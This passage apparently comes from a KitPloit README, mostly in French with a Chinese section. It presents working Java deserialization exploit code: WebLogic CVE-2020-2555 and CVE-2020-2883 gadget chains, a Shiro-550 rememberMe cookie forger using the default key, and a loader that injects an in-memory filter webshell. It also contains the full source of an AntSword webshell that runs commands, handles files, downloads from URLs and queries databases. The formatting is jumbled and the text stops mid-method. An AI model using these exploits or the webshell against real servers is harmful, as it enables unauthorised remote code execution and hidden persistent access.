    queueArray[0] = Runtime.class;
    queueArray[1] = 1;


    byte[] bytes = Serializables.serializeToBytes(queue);
    Serializables.deserializeFromBytes(bytes);
}

}

root@kitploit:~
En fait, il suffit de combiner la première moitié de CC5 avec la seconde moitié de CC2, d'utiliser l'appel en chaîne de CC5 pour exécuter la commande, et d'utiliser CC2 pour déclencher `toString`.

## Plusieurs méthodes de chargement de classes avec Java ClassLoader

> Java est un langage compilé, tout le code Java doit être compilé en bytecode pour être exécuté par la JVM. Lors de l'initialisation d'une classe Java, `java.lang.ClassLoader` est appelé pour charger le bytecode de la classe. Le ClassLoader appelle la méthode defineClass pour créer une instance de classe `java.lang.Class`.

La classe ClassLoader est une classe abstraite et ne peut pas être utilisée directement. Il existe plusieurs implémentations concrètes dans le JDK, comme DefiningClassLoader, BCEL ClassLoader, GroovyClassLoader, URLClassLoader, org.python.core.BytecodeLoader de PythonInterpreter dans Jython, etc. On peut aussi implémenter son propre ClassLoader.



Cet article explique principalement trois méthodes : URLClassLoader, BytecodeLoader et la définition d'un ClassLoader personnalisé pour charger des classes à partir du bytecode.


### URLClassLoader```java
package org.chabug.loader;

import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderDemo {
    public static void main(String[] args) throws Exception {
//        URL url = new URL("https://baidu.com/cmd.jar");   // 也可以加载远程jar
        URL url = new URL("file:///d:/calc.jar");

        // 创建URLClassLoader对象,并加载远程jar包
        URLClassLoader ucl = new URLClassLoader(new URL[]{url});
        
        // 通过URLClassLoader加载jar包
        Class<?> aClass = ucl.loadClass("org.chabug.demo.Calc");
        aClass.newInstance();
    }
}

La commande pour créer le fichier jar est jar cvf calc.jar Calc.class, le code malveillant est écrit directement dans le bloc static et s'exécutera automatiquement lors de la création d'une instance de classe via newInstance().

image-20200822163304144

La calculatrice s'affiche avec succès.

image-20200822163450161

BytecodeLoader```java

package org.chabug.loader;

import org.python.util.PythonInterpreter;

import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream;

public class BytecodeLoaderLoader { public static void main(String[] args) throws Exception { String className = "org.chabug.demo.Calc"; byte[] bytes = getBytesByFile("E:\code\java\JavaSerialize\target\classes\org\chabug\demo\Calc.class"); String classBytes = ""; for (byte b : bytes) { classBytes += String.format("%s%s", b, ","); } String s = String.format("from org.python.core import BytecodeLoader;\n" + "from jarray import array\n" + "myList = [%s]\n" + "bb = array( myList, 'b')\n" + "BytecodeLoader.makeClass("%s",None,bb).getConstructor([]).newInstance([]);", classBytes, className); PythonInterpreter instance = PythonInterpreter.class.getConstructor(null).newInstance(); instance.exec(s); }

root@kitploit:~
public static byte[] getBytesByFile(String pathStr) {
    File file = new File(pathStr);
    try {
        FileInputStream fis = new FileInputStream(file);
        ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
        byte[] b = new byte[1000];
        int n;
        while ((n = fis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        fis.close();
        byte[] data = bos.toByteArray();
        bos.close();
        return data;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

}

root@kitploit:~
![image-20200822172647180](https://assets.kitploit.com/production/public/readmes/21799/439eb1ef261bd6925a2ef715e140999f7697173d16d8eed992d8d6bc0fbb8479.png)

### ClassLoader personnalisé

![image-20200822173106095](https://assets.kitploit.com/production/public/readmes/21799/fcef275c5db106938c04ea83ea7f513bd8bbefdcca3d2683445fa0cdd3c3964c.png)```java
package org.chabug.loader;

import static org.chabug.loader.BytecodeLoaderLoader.getBytesByFile;

public class MyLoader extends ClassLoader {
    public static String className = "org.chabug.demo.Calc";
    public static byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class");

    public static void main(String[] args) throws Exception {
        new MyLoader().loadClass(className).newInstance();
    }

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(className)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(className, bytes, 0, bytes.length);
        }

        return super.findClass(name);
    }
}

WebLogic CVE-2020-2555 CVE-2020-2883 RCE

Ces deux vulnérabilités ressemblent beaucoup à la chaîne CC dans leur forme, seule la construction du gadget diffère. Regardons d'abord la CVE-2020-2555, qui a été divulguée en premier.

CVE-2020-2555

Le problème se situe dans com.tangosol.util.extractor.ReflectionExtractor#extract```java public Object extract(Object oTarget) { if (oTarget == null) { return null; } else { Class clz = oTarget.getClass();

root@kitploit:~
    try {
        Method method = this.m_methodPrev;
        if (method == null || method.getDeclaringClass() != clz) {
            this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
        }
        return method.invoke(oTarget, this.m_aoParam);
    } catch (NullPointerException var4) {
        throw new RuntimeException(this.suggestExtractFailureCause(clz));
    } catch (Exception var5) {
        throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
    }
}

}

root@kitploit:~
C'est exactement identique à `transform()` de la chaîne CC, il faut donc aussi rechercher une classe similaire à `ChainedTransformer`.```java
public E extract(Object oTarget) {
    ValueExtractor[] aExtractor = this.getExtractors();
    int i = 0;

    for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
        oTarget = aExtractor[i].extract(oTarget);
    }

    return oTarget;
}

this.getExtractors() provient de sa classe parente AbstractCompositeExtractor```java protected ValueExtractor[] m_aExtractor; public ValueExtractor[] getExtractors() { return this.m_aExtractor; }

root@kitploit:~
Et dans com.tangosol.util.filter.LimitFilter#toString, extract() sera déclenché.```java
public String toString() {
    StringBuilder sb = new StringBuilder("LimitFilter: (");
    sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
    if (this.m_comparator instanceof ValueExtractor) {
        ValueExtractor extractor = (ValueExtractor)this.m_comparator;
        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
    } else if (this.m_comparator != null) {
        sb.append(", comparator=").append(this.m_comparator);
    }

    sb.append("])");
    return sb.toString();
}

Faites attention à ceux-ci```java ValueExtractor extractor = (ValueExtractor)this.m_comparator; extractor.extract(this.m_oAnchorTop) extractor.extract(this.m_oAnchorBottom)

root@kitploit:~
Consulter les champs de ce type```java
private Comparator m_comparator;
private Object m_oAnchorTop;
private Object m_oAnchorBottom;

m_comparator est de type Comparator, et ChainedTransformer implémente cette interface.

image-20200824101352678

Donc m_comparator peut contenir un objet chainedExtractor, puis il suffit de passer Runtime.class à m_oAnchorTop.

Résumé : utiliser BadAttributeValueExpException pour déclencher le toString() de LimitFilter, puis ChainedExtractor appelle extract() en chaîne pour exécuter Runtime```java package org.chabug.cve;

import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.filter.LimitFilter; import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field;

public class CVE_2020_2555 { public static void main(String[] args) throws Exception { ReflectionExtractor extractor1 = new ReflectionExtractor( "getMethod", new Object[]{"getRuntime", new Class[0]}

root@kitploit:~
    );

    // get invoke() to execute exec()
    ReflectionExtractor extractor2 = new ReflectionExtractor(
            "invoke",
            new Object[]{null, new Object[0]}

    );

    // invoke("exec","calc")
    ReflectionExtractor extractor3 = new ReflectionExtractor(
            "exec",
            new Object[]{new String[]{"cmd", "/c", "calc"}}
    );

    ReflectionExtractor[] extractors = {
            extractor1,
            extractor2,
            extractor3,
    };

    ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
    LimitFilter limitFilter = new LimitFilter();

    //m_comparator
    Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
    m_comparator.setAccessible(true);
    m_comparator.set(limitFilter, chainedExtractor);

    //m_oAnchorTop
    Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
    m_oAnchorTop.setAccessible(true);
    m_oAnchorTop.set(limitFilter, Runtime.class);

    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
    field.setAccessible(true);
    field.set(badAttributeValueExpException, limitFilter);

    // serialize

    byte[] buf = Serializables.serializeToBytes(badAttributeValueExpException);
    Serializables.deserializeFromBytes(buf);

}

}

root@kitploit:~
### CVE-2020-2883

2883 est en réalité la chaîne que nous avons dérivée précédemment à partir des deux chaînes CC.```java
package org.chabug.cve;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883 {
    public static void main(String[] args) throws Exception {
        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
        ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}});

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                reflectionExtractor1,
                reflectionExtractor2,
                reflectionExtractor3,
        };

        Class clazz = ChainedExtractor.class.getSuperclass();
        Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);

        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
        ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                reflectionExtractor
        };

        ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

        PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
        queue.add("1");
        queue.add("1");
        m_aExtractor.set(chainedExtractor1, valueExtractors);

        Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = Runtime.class;
        queueArray[1] = "1";

        byte[] buf = Serializables.serializeToBytes(queue);
    }
}

Toute la chaîne d'exploitation```java /*

  • readObject:797, PriorityQueue (java.util)
  • heapify:737, PriorityQueue (java.util)
  • siftDown:688, PriorityQueue (java.util)
  • siftDownUsingComparator:722, PriorityQueue (java.util)
  • compare:71, ExtractorComparator (com.tangosol.util.comparator)
  • extract:81, ChainedExtractor (com.tangosol.util.extractor)
  • extract:109, ReflectionExtractor (com.tangosol.util.extractor)
  • invoke:498, Method (java.lang.reflect) */
root@kitploit:~
Les premières parties des deux CVE sont identiques, toutes deux construisent une chaîne vers Runtime via ChainedExtractor. Pour 2555, on utilise BadAttributeValueExpException, et pour 2883, PriorityQueue.

## Shiro-550 : RCE par désérialisation due à la clé rememberMe codée en dur

Il faut d'abord savoir que Shiro est un framework d'authentification, dont le principe repose sur les filtres de servlet. La bibliothèque Shiro définit ShiroFilter dans web.xml, avec une portée couvrant toutes les URL du répertoire courant.

![image-20200824110636439](https://assets.kitploit.com/production/public/readmes/21799/8ad70a3abecab5f29d30a73685b199f6c8fa6462d442af93d796a2988d40b698.png)

Le traitement des cookies se fait dans la classe `CookieRememberMeManager`, qui hérite de `AbstractRememberMeManager`. Dans `AbstractRememberMeManager`, la clé de chiffrement `DEFAULT_CIPHER_KEY_BYTES` est codée en dur.

![image-20200824110840912](https://assets.kitploit.com/production/public/readmes/21799/a567c7fcb5a9f0c39e547b1a9971a289a2ea3324cde7609a02b05f466255f6fe.png)

Le chiffrement symétrique utilise AES-CBC, puis org.apache.shiro.io.DefaultSerializer assure la sérialisation et la désérialisation.

![image-20200824111728416](https://assets.kitploit.com/production/public/readmes/21799/c5041ab11adbdd389ae3cb6c1a47a8a892725dd0aa7db7bab59c569b7e20e38a.png)

En maîtrisant son algorithme de chiffrement et la clé codée en dur, on peut construire un objet malveillant pour réaliser une RCE par désérialisation. L'algorithme de chiffrement est le suivant :```java
package org.chabug.util;

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;

public class EncryptUtil {
    private static final String ENCRY_ALGORITHM = "AES";
    private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
    private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes();     // 16字节IV

    public EncryptUtil() {
    }

    public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
        try {
            SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
            Cipher cipher = Cipher.getInstance(CIPHER_MODE);
            IvParameterSpec iv = new IvParameterSpec(IV);
            cipher.init(1, keySpec, iv);
            byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
            return cipherTextBytes;
        } catch (NoSuchPaddingException var6) {
            var6.printStackTrace();
        } catch (NoSuchAlgorithmException var7) {
            var7.printStackTrace();
        } catch (BadPaddingException var8) {
            var8.printStackTrace();
        } catch (IllegalBlockSizeException var9) {
            var9.printStackTrace();
        } catch (InvalidKeyException var10) {
            var10.printStackTrace();
        } catch (Exception var11) {
            var11.printStackTrace();
        }

        return null;
    }

    public static String shiroEncrypt(String key, byte[] objectBytes) {
        byte[] pwd = Base64.decode(key);
        byte[] cipher = encrypt(objectBytes, pwd);

        assert cipher != null;

        byte[] output = new byte[pwd.length + cipher.length];
        byte[] iv = IV;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
        return Base64.encode(output);
    }
}

Utiliser CC5 pour générer le cookie rememberMe```java package org.chabug.shiro;

import org.chabug.util.EncryptUtil; import org.chabug.util.Serializables; import ysoserial.payloads.CommonsCollections5;

public class Shiro550 { public static void main(String[] args) throws Exception { CommonsCollections5 cc = new CommonsCollections5(); Object calc = cc.getObject("calc"); byte[] bytes = Serializables.serializeToBytes(calc); String key = "kPH+bIxk5D2deZiIxcaaaA=="; String rememberMe = EncryptUtil.shiroEncrypt(key, bytes); System.out.println(rememberMe); } }

root@kitploit:~
bp发包

![image-20200824113600901](https://assets.kitploit.com/production/public/readmes/21799/871a02527794f8a457b1eca464a2c4c439faa6b6476c560d9d02102ed23efaf0.png)

目标上弹出计算器

![image-20200824113637777](https://assets.kitploit.com/production/public/readmes/21799/8c1703587a40fd3b49f761a765c457563dd083bd1865837a83d69f2ca2c31a51.png)

## WebLogic + Shiro 反序列化一键注册filter内存shell

接下来就是正题了,先说下整体思路:

遇到的目标shiro不存在可用的gadget,但是探测出他的key为默认的`kPH+bIxk5D2deZiIxcaaaA==`,通过404报错页面发现是WebLogic,通过CVE-2020-2883的gadget来成功RCE,但是不出网,没法反弹shell,而且是SpringMVC写jsp文件也访问不到,只能搞Filter内存马。



整理一下:

1. 反序列化的入口是shiro
2. gadget是2883
3. 2883通过URLClassLoader定义字节码
4. 字节码中写注册内存shell的代码
5. filter shell注册在weblogic的内存中



先解决shiro+2883 gadget利用的问题,其实就是把之前的2883生成的queue对象拿到shiro中进行AES base64加密就行了```java
byte[] buf = Serializables.serializeToBytes(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);

Pour définir le bytecode, il faut d'abord écrire la classe du bytecode, c'est-à-dire le code qui injecte le shell en mémoire.```java package org.chabug.memshell;

import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Map;

public class InjectFilterShell { static { try { Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread());

root@kitploit:~
        Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
        connectionHandlerF.setAccessible(true);
        Object obj = connectionHandlerF.get(currentWork);

        Field requestF = obj.getClass().getDeclaredField("request");
        requestF.setAccessible(true);
        obj = requestF.get(obj);

        Field contextF = obj.getClass().getDeclaredField("context");
        contextF.setAccessible(true);
        Object context = contextF.get(obj);

        Field classLoaderF = context.getClass().getDeclaredField("classLoader");
        classLoaderF.setAccessible(true);
        ClassLoader cl = (ClassLoader) classLoaderF.get(context);

        Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
        cachedClassesF.setAccessible(true);
        Object cachedClass = cachedClassesF.get(cl);

        Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
        if (getM.invoke(cachedClass, "shell") == null) {
            byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/AntSwordFilterShell.class");
            Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

            String evilName = "gameName" + System.currentTimeMillis();
            String filterName = "gameFilter" + System.currentTimeMillis();
            String[] url = new String[]{"/*"};

            Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
            putM.invoke(cachedClass, filterName, evilFilterClass);
            Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
            Object filterManager = getFilterManagerM.invoke(context);

            Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
            registerFilterM.setAccessible(true);
            registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public static byte[] getBytesByFile(String pathStr) {
    File file = new File(pathStr);
    try {
        FileInputStream fis = new FileInputStream(file);
        ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
        byte[] b = new byte[1000];
        int n;
        while ((n = fis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        fis.close();
        byte[] data = bos.toByteArray();
        bos.close();
        return data;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

}

root@kitploit:~
Après la compilation et l'empaquetage du jar, écrivez-le en exécutant la commande base64 -d, afin de pouvoir charger ce jar via URLClassLoader par la suite. Comme le code se trouve dans un bloc static, il s'exécutera automatiquement lors du chargement.



Écrivons ensuite le code qui utilise 2883 pour charger notre jar précédent via URLClassLoader.```java
package org.chabug.memshell;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.EncryptUtil;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;

public class CVE_2020_2883_URLClassLoader {
    public static void main(String[] args) {
        try {
            ReflectionExtractor extractor1 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{URL[].class}}
            );

            ReflectionExtractor extractor2 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
            );

            // load filter shell
            ReflectionExtractor extractor3 = new ReflectionExtractor(
                    "loadClass",
                    new Object[]{"org.chabug.memshell.InjectFilterShell"}
            );

            ReflectionExtractor extractor4 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{}}
            );

            ReflectionExtractor extractor5 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{}}
            );


            ValueExtractor[] valueExtractors = new ValueExtractor[]{
                    extractor1,
                    extractor2,
                    extractor3,
                    extractor4,
                    extractor5,
            };
            Class clazz = ChainedExtractor.class.getSuperclass();
            Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
            m_aExtractor.setAccessible(true);

            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
            ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                    reflectionExtractor
            };

            ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

            PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
            queue.add("1");
            queue.add("1");
            m_aExtractor.set(chainedExtractor1, valueExtractors);

            Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
            queueArray[0] = URLClassLoader.class;
            queueArray[1] = "1";

            byte[] buf = Serializables.serializeToBytes(queue);
            String key = "kPH+bIxk5D2deZiIxcaaaA==";
            String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
            System.out.println(rememberMe);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

Le chargement de la classe org.chabug.memshell.InjectFilterShell via URLClassLoader exécute automatiquement le bloc static ; celui-ci lit le bytecode de C:/Users/Administrator/Desktop/AntSwordFilterShell.class, puis injecte la classe AntSwordFilterShell en définissant le bytecode. AntSwordFilterShell est notre Filter shell. Le code est le suivant :```java package org.chabug.memshell;

import javax.servlet.; import java.io.; import java.net.HttpURLConnection; import java.net.URL; import java.sql.*; import java.text.SimpleDateFormat;

public class AntSwordFilterShell implements Filter{

root@kitploit:~
String Pwd = "th1sIsMySecretPassW0rd!";   //连接密码
String encoder = ""; // default
String cs = "UTF-8"; // 脚本自身编码

String EC(String s) throws Exception {
    if (encoder.equals("hex") || encoder == "hex") return s;
    return new String(s.getBytes("ISO-8859-1"), cs);
}

String showDatabases(String encode, String conn) throws Exception {
    String sql = "show databases"; // mysql
    String columnsep = "\t";
    String rowsep = "";
    return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}

String showTables(String encode, String conn, String dbname) throws Exception {
    String sql = "show tables from " + dbname; // mysql
    String columnsep = "\t";
    String rowsep = "";
    return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}

String showColumns(String encode, String conn, String dbname, String table) throws Exception {
    String columnsep = "\t";
    String rowsep = "";
    String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
    return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}

String query(String encode, String conn, String sql) throws Exception {
    String columnsep = "\t|\t"; // general
    String rowsep = "\r\n";
    return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}

String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
        throws Exception {
    String ret = "";
    conn = (EC(conn));
    String[] x = conn.trim().replace("\r\n", "\n").split("\n");
    Class.forName(x[0].trim());
    String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
    Connection c = DriverManager.getConnection(url);
    Statement stmt = c.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    ResultSetMetaData rsmd = rs.getMetaData();

    if (needcoluname) {
        for (int i = 1; i <= rsmd.getColumnCount(); i++) {
            String columnName = rsmd.getColumnName(i);
            ret += columnName + columnsep;
        }
        ret += rowsep;
    }

    while (rs.next()) {
        for (int i = 1; i <= rsmd.getColumnCount(); i++) {
            String columnValue = rs.getString(i);
            ret += columnValue + columnsep;
        }
        ret += rowsep;
    }
    return ret;
}

String WwwRootPathCode(ServletRequest r) throws Exception {
    //  String d = r.getSession().getServletContext().getRealPath("/");
    String d = this.getClass().getClassLoader().getResource("/").getPath();
    String s = "";
    if (!d.substring(0, 1).equals("/")) {
        File[] roots = File.listRoots();
        for (int i = 0; i < roots.length; i++) {
            s += roots[i].toString().substring(0, 2) + "";
        }
    } else {
        s += "/";
    }
    return s;
}

String FileTreeCode(String dirPath) throws Exception {
    File oF = new File(dirPath), l[] = oF.listFiles();
    String s = "", sT, sQ, sF = "";
    java.util.Date dt;
    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    for (int i = 0; i < l.length; i++) {
        dt = new java.util.Date(l[i].lastModified());
        sT = fm.format(dt);
        sQ = l[i].canRead() ? "R" : "";
        sQ += l[i].canWrite() ? " W" : "";
        if (l[i].isDirectory()) {
            s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
        } else {
            sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
        }
    }
    return s += sF;
}

String ReadFileCode(String filePath) throws Exception {
    String l = "", s = "";
    BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
    while ((l = br.readLine()) != null) {
        s += l + "\r\n";
    }
    br.close();
    return s;
}

String WriteFileCode(String filePath, String fileContext) throws Exception {
    BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
    bw.write(fileContext);
    bw.close();
    return "1";
}

String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
    File f = new File(fileOrDirPath);
    if (f.isDirectory()) {
        File x[] = f.listFiles();
        for (int k = 0; k < x.length; k++) {
            if (!x[k].delete()) {
                DeleteFileOrDirCode(x[k].getPath());
            }
        }
    }
    f.delete();
    return "1";
}

void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
    int n;
    byte[] b = new byte[512];
    r.reset();
    ServletOutputStream os = r.getOutputStream();
    BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
    os.write(("->|").getBytes(), 0, 3);
    while ((n = is.read(b, 0, 512)) != -1) {
        os.write(b, 0, n);
    }
    os.write(("|<-").getBytes(), 0, 3);
    os.close();
    is.close();
}

String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
    String h = "0123456789ABCDEF";
    File f = new File(savefilePath);
    f.createNewFile();
    FileOutputStream os = new FileOutputStream(f);
    for (int i = 0; i < fileHexContext.length(); i += 2) {
        os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
    }
    os.close();
    return "1";
}

String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
    File sf = new File(sourceFilePath), df = new File(targetFilePath);
    if (sf.isDirectory()) {
        if (!df.exists()) {
            df.mkdir();
        }
        File z[] = sf.listFiles();
        for (int j = 0; j < z.length; j++) {
            CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
        }
    } else {
        FileInputStream is = new FileInputStream(sf);
        FileOutputStream os = new FileOutputStream(df);
        int n;
        byte[] b = new byte[1024];
        while ((n = is.read(b, 0, 1024)) != -1) {
            os.write(b, 0, n);
        }
        is.close();
        os.close();
    }
    return "1";
}

String RenameFileOrDirCode(String oldName, String newName) throws Exception {
    File sf = new File(oldName), df = new File(newName);
    sf.renameTo(df);
    return "1";
}

String CreateDirCode(String dirPath) throws Exception {
    File f = new File(dirPath);
    f.mkdir();
    return "1";
}

String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
    File f = new File(fileOrDirPath);
    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    java.util.Date dt = fm.parse(aTime);
    f.setLastModified(dt.getTime());
    return "1";
}

String WgetCode(String urlPath, String saveFilePath) throws Exception {
    URL u = new URL(urlPath);
    int n = 0;
    FileOutputStream os = new FileOutputStream(saveFilePath);
    HttpURLConnection h = (HttpURLConnection) u.openConnection();
    InputStream is = h.getInputStream();
    byte[] b = new byte[512];
    while ((n = is.read(b)) != -1) {
        os.write(b, 0, n);
    }
    os.close();
    is.close();
    h.disconnect();
    return "1";
}

String SysInfoCode(ServletRequest r) throws Exception {

// String d = r.getServletContext().getRealPath("/"); String d = this.getClass().getClassLoader().getResource("/").getPath(); String serverInfo = System.getProperty("os.name"); String separator = File.separator; String user = System.getProperty("user.name"); String driverlist = WwwRootPathCode(r); return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; }

root@kitploit:~
boolean isWin() {
    String osname = System.getProperty("os.name");
    osname = osname.toLowerCase();
    if (osname.startsWith("win"))
        return true;
    return false;
}

String ExecuteCommandCode(String cmdPath, String command) throws Exception {
    StringBuffer sb = new StringBuffer("");
    String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
    Process p = Runtime.getRuntime().exec(c);
    CopyInputStream(p.getInputStream(), sb);
    CopyInputStream(p.getErrorStream(), sb);
    return sb.toString();
}

String decode(String str) {
    byte[] bt = null;
    try {
        sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
        bt = decoder.decodeBuffer(str);
    } catch (IOException e) {
        e.printStackTrace();
    }
    return new String(bt);
}

String decode(String str, String encode) {
    if (encode.equals("hex") || encode == "hex") {
        if (str == "null" || str.equals("null")) {
            return "";
        }
        StringBuilder sb = new StringBuilder();
        StringBuilder temp = new StringBuilder();
        try {
            for (int i = 0; i < str.length() - 1; i += 2) {
                String output = str.substring(i, (i + 2));
                int decimal = Integer.parseInt(output, 16);
                sb.append((char) decimal);
                temp.append(decimal);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return sb.toString();
    } else if (encode.equals("base64") || encode == "base64") {
        byte[] bt = null;
        try {
            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
            bt = decoder.decodeBuffer(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return new String(bt);
    }
    return str;
}

void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
    String l;
    BufferedReader br = new BufferedReader(new InputStreamReader(is));
    while ((l = br.readLine()) != null) {
        sb.append(l + "\r\n");
    }
    br.close();
}

public void init(FilterConfig f) throws ServletException {
}


public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    if (request.getParameter("size") != null) {
        response.setContentType("text/html");
        response.setCharacterEncoding(cs);
        StringBuffer sb = new StringBuffer("");
        try {
            String funccode = EC(request.getParameter(Pwd) + "");
            String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
            String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
